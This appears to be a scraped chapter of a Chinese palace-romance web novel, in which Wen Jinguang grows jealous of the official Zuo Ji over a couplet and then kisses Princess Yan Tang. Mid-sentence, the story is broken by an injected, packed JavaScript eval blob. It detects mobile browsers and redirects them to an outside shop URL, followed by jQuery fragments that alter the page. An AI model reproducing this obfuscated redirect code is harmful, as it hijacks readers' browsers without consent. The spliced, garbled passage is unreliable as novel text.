29. 吃醋

作品:《偏执女君折他骨

    “好吃么?”她问,语气中夹杂着一丝笑意。


    “……好吃。”他应道。


    “是吗?”晏棠忽然笑了。


    温尽光的目光被她的红唇吸引,喉结动了动。随后,他将一整颗汤圆咽了下去。


    “好吃么?”她又问了一遍,声音更低了。


    他笑道:“阿棠给的,都好吃。”


    晏棠眉梢轻轻一挑,微微倾身把手里的勺子随意丢回碗中,然后用空出的手,指尖却沿着他的下颌,慢慢滑到他的唇角,轻轻一抹。


    “这里,”她的指尖停在他唇角,用了点力,按了按,“沾了东西。”


    温尽光的呼吸明显乱了一拍,他有些不适应这样的她。


    “真……真的吗?”


    “嗯。”晏棠应了一声,目光从他唇角,缓缓移到他的眼睛,再落到他的唇上。


    “自己擦掉多没意思。”


    她不再动作,也不再说话,只是离他很近,望着他。


    温尽光望着她近在咫尺的红唇,轻轻握住了她停留在他唇角的手腕。


    下一瞬,他微微侧头,毫不犹豫地吻上了她的指尖。


    蜻蜓点水,一触即分。


    他退开些许,依旧握着她的手腕,眸子清亮极了,声音低哑带着笑:“阿棠,帮我擦一下,好不好?”


    晏似笑非笑,视线落在他的唇瓣上,“用什么?”


    “用……”


    不等他说话,她便用食指轻轻压住了他的唇。


    她顺着被他握住的力道,倾身过去,两个人之间的距离又缩短了些,她的鼻尖几乎要蹭上他的。


    温尽光的笑意凝在嘴角,眸底的光更亮了,他专注地锁着她,周身散发着期待的气息。


    晏棠微微偏头,红唇凑近,气息若有若无地拂过他的唇瓣。


    温尽光忍不住迎上去的那一瞬间,她忽然停了。


    他的身体绷得紧紧的,呼吸也乱了,越来越重。


    随后,晏棠弯了弯唇,脸上划过得逞的笑意。


    她的手腕从他的手心抽离,她站起身,居高临下地看着他。


    温尽光坐直身体,目光追随着她,像一只等待主人分骨头的小狗。


    晏棠坐在桌边,笑着问道:“只给吃一颗?”


    温尽光笑着摇摇头,起身坐在她的身边,眼底笑意清澈又明亮:“一颗怎么够?”


    说罢,他喂她吃完了一整碗汤圆,动作轻柔不已。


    汤圆吃完后,温尽光很自然地开始为晏棠梳妆。


    问画在殿外伸长脖子瞧着,一个劲地和司祁吐槽:“不是,从昨晚开始,温公子怎么一直在抢我的活儿?”


    司祁也朝殿内瞥了一眼,随即附和道:“不止,昨日你和殿下还未从保和殿回来前,温公子就在小厨房里忙活,今早天天刚刚亮,他又在那儿了。”


    问画惊讶地睁大了眼睛:“小厨房?温公子怎么还抢——”


    她的话还没有说完,侍从便来报:“二位掌事,左大人求见。”


    问画与司祁闻言对视一眼。


    问画道:“我先将左大人带去花厅,你去禀告殿下,若殿下愿见,派人通知我。”


    “嗯。”司祁点头应下。


    问画走后,司祁走进钟磬殿里,只见温尽光已经为晏棠梳好了发髻。


    晏棠对着铜镜,抬手拂过额发,“何事?”


    司祁躬身禀道:“殿下,左大人求见,此刻正在花厅侯着,您可要见?”


    晏棠的目光从铜镜上移开,她知道左济为何而来,“见。”


    短短一字让温尽光眸底的笑意淡了下去,他知道她们口中的左大人是谁。他见过两次了,一次是他偷偷地站在书房外面,听见晏棠命他当面首;第二次是圣上来棠华宫的那日,他带来了解除禁足的圣旨,那日,他看阿棠的眼神并不清白……


    思及此,温尽光的胸口闷闷的,再想到他那张清俊的脸,他不由得抿了抿唇,若是阿棠真的看上他怎么办?


    不行。


    阿棠的身边,只能有他一个人。


    晏棠起身正欲离开,温尽光下意识地拉住她的手,“阿棠……”


    “嗯?”晏棠察觉到他似乎有些不开心。


    “我想陪你一起去。”


    晏棠从头到尾地打量他一番,随后挑了挑眉头,“你确定?”


    温尽光连连点头,晏棠勾唇一笑,“走吧。”


    温尽光原本要跟着晏棠去了,但是走之前他从铜镜中看见了自己的模样。他不由得皱了皱眉,他身上穿的是早上起来煮汤圆的那件,十分素净,他抬手闻闻袖子,是豆沙混着桂花的味道。


    不,他不能就这么去。


    他开口道:“阿棠,你先去,我马上就来。”


    晏棠本想说“你好大的胆子,是本宫对你太过娇纵”,可话到嘴边却变成了“随你”两个字。


    花厅内,茶香袅袅。


    在晏棠出现的那一刻,左济的眸底浮起光亮。


    他起身行礼:“殿下。”


    晏棠微微颔首,“劳烦左大人亲自走一趟。”


    左济听到她这样说,心不由得轻轻晃了晃,她今日好像……很高兴。他抬头,目光落在她脸上,眸底飞快地划过一抹惊艳。


    今日的晏棠,眉梢眼角似乎都蕴着一层淡淡的温软光泽,身上的云水蓝裙衬得她整个人像一块玉。


    这是他第一次见她穿这个颜色的衣裳。


    “能得殿下青眼,是臣之幸。”他怕自己失态,连忙侧开眸子,示意侍从展开卷轴。


    晏棠还未说话,一道云水蓝身影便裹挟着淡淡的清香从花厅外飘到了她身边。她扫了一眼身边的人,唇角轻轻地弯了弯。


    温尽光将茶盏邀功似地放在晏棠手边,“殿下,尝尝,是我新沏的。”


    随后,他像是刚刚才看到左济,转过身,拱手行礼道:“左大人。”


    左济微微颔首,目光落在他身上,他穿的是与晏棠同色的衣裳,两个人隔得近,衣裳仿佛融在了一起,有些刺眼。


    左济觉得心口有些发闷。


    温尽光对左济的反应置若罔闻,他从侍从手里拿过对联打开,随后转向晏棠,眼神亮晶晶的:“殿下,左大人文采好,字也好,我实在是喜欢。”


    “殿下,看在我昨夜尽心伺候您的份上,不如,将这副对联赏给我吧。”温尽光将“昨夜”两个字咬得很重。


    不等晏棠说话,左济从温尽光手里拿回对联,一字一句道:“温公子,这是在御前,殿下亲选的对联,并非寻常玩物,怎可用来做讨赏的由头。”


    温尽光故作疑惑道:“左大人言重了,我岂会不知规矩?只是想着,殿下既然选中,便是殿下的东西,殿下赏给谁,怎么赏,自然是殿下说了算。”


    说罢,他笑眼盈盈望着晏棠,声音清朗:“更何况,尽心伺候殿下,是我的本分,殿下体恤,赏些小玩意儿给我也是常事。”


    “你……”左济的胸口更闷了,他望向晏棠。


    晏棠饮下一口茶,语气淡淡的:“左大人有心,本宫领了。”


    说罢,她眼波慢悠悠地转向温尽光,他正眼巴巴望着自己,她移开视线,只见左济脸上挂着半分涩意。


    最后,她摆摆手,让问画把对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111373|194924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    联仔细收好。


    温尽光的脸皱成了一团,望向左济的眼神有怒意。


    见晏棠没有全然顺着温尽光的意,左济心中憋闷的郁气奇异地疏散了许多。


    他收敛心神,重新端起臣子应有的姿态,“殿下喜欢,臣便心安,臣不便多扰,先行告退。”


    “嗯。”


    左济转身离去,花厅里安静下来,只剩他们两个人了。


    晏棠慢条斯理地又饮了一口茶,才将目光转向他,“杵在那儿做什么?”


    “阿棠……”他唤了一声,声音有些发哽,带着浓浓的鼻音:“那对联……你就这么收起来了?”


    晏棠静静看了他片刻,忽然轻笑了一声。


    “不过一副对联,”她的语气里夹杂着笑意:“收起来,便看不到了。”


    温尽光眨了眨眼,只固执地低声道:“可那是他写的……你难道看不出来……”他知道自己此刻的醋意毫无道理且咄咄逼人,可他就是控制不住。


    左济望向晏棠的眼神他再熟悉不过了,匿着见不得光的倾慕,他从前也这么看她无数次。


    晏棠反问道:“看出什么?”


    温尽光忽而半跪在她的面前,眸底翻涌着依赖和独占欲,他抓住她的手贴在自己的脸颊上,将心中酸涩的委屈倾泻而出:“阿棠,我不喜欢!不喜欢他看你,不喜欢他送你东西,不喜欢……你把他送的东西收起来!”


    他的脸感受着她的温度,眼尾泛红。


    晏棠任他抓着手,她伸出另一只手,指尖轻轻拂过他抿紧的唇角,“蠢。”她吐出这一个字。


    说罢,她又抬手揉了揉他柔软的发顶,动作难得轻柔,像是在安抚他。她顿了顿,在他紧皱的眉心处轻轻落下一吻,“本宫暂时没有养第二个面首的打算。”


    温尽光的眉心迅速舒展开来,方才心中的酸涩感瞬间消失了,被狂热的满足感装满了。


    “阿棠!”他一把抱住她的腰,将脸埋在她的腰间,声音闷闷的,却夹杂着藏不住的雀跃和颤抖:“阿棠,只要我一个好不好?一辈子都只要我一个好不好?”


    晏棠由他抱着,唇角勾起一抹笑意,“温尽光,人不能太贪心。”


    温尽光抱着她的手臂没有丝毫松动,反而收得更紧。


    他忽而站起身,弯腰,双手撑住了椅子两侧的扶手,将她圈在了自己与椅背之间。


    晏棠微微抬眸,对上他近在咫尺的眼睛,里面翻涌着滚烫的占有欲。


    “是,我就是贪心。”


    说罢,他低头含住了她的唇瓣。


    见晏棠没有要推开他的意思,他吻地更用力了,一手仍撑着扶手,另一只手托住了她的后颈,指尖陷入她柔软的发丝,将她更近地压向自己。


    他辗转加深这个吻,舌尖试探地抵开她的唇齿,与她纠缠……


    许久,直到两人都有些气息不稳,温尽光才稍稍退开些许,额头抵着她的额头,鼻尖相触,喘息交织。


    他的眼眸亮得惊人,映着她此刻微微泛红的脸颊和略显湿润的唇。


    “阿棠……”他哑着声音唤她,语气夹杂着餍足后的细微颤抖,“阿棠,这辈子只要我一个,好不好?”


    晏棠抬起手,轻轻划过他因激动而泛着潮红的眼尾,随后,她摇了摇头,道了句“不划算。”


    温尽光笑了,笑得释怀,原来是这样,是他做的不够好,也不够多,才让他的阿棠觉得一辈子都只要他一个人不划算。


    一辈子太长,她不给。


    一时一刻也好。


    他这一生,会用尽全身力气奔赴她,一次,两次,三次,无数次……